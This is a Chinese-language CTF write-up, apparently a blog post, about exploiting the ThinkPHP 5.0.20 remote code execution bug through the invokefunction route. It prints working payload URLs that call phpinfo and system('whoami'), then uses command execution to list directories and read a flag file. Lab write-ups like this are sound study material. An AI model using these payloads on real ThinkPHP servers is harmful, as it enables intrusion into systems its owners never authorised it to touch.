題目
今天做CTF的時候,遇到下面這道題,看上去應該跟ThinkPHP版本5的相關漏洞。之前聽過ThinkPHP有漏洞,具體情況不清楚。。。
解題過程
去vulhub上搜了下ThinkPHP,還真有,把docker容器打開看了下,頁面一摸一樣哈哈:
這是一個遠程代碼執行漏洞,先學習vulhub復現這個漏洞的過程:
輸入:http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,可執行phpinfo:
拉到頁面底部,看到ThinkPHP的版本是5.0.20:
可以執行phpinfo,那可不可以執行其他命令呢?查了一下網上的payload,如下:
輸入:http://your-ip:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
返回:www-data www-data
再回到CTF的這道題,應該考的就是這個命令執行的漏洞:
輸出:成功執行phpinfo
再執行ls命令查看當前目錄
返回如下,再把index.php和router.php打開看了一下,木有發現flag,再把request和response也檢查了下,也木有flag。。
再逐級查看上級目錄,最終看到一個名為flag的文件:
返回:
查看一下flag的內容:
成功找到flag
看了其他人寫WP,有更方便的查找文件的linux命令:find / -name "*flag*" (linux命令硬傷來了 ...>_<....)
返回:
比我一級一級的找省事多了。。
本文僅用於技術學習和交流,嚴禁用於非法用途,否則產生的一切后果自行承擔。
如需轉載,請注明出處,這是對他人勞動成果的尊重。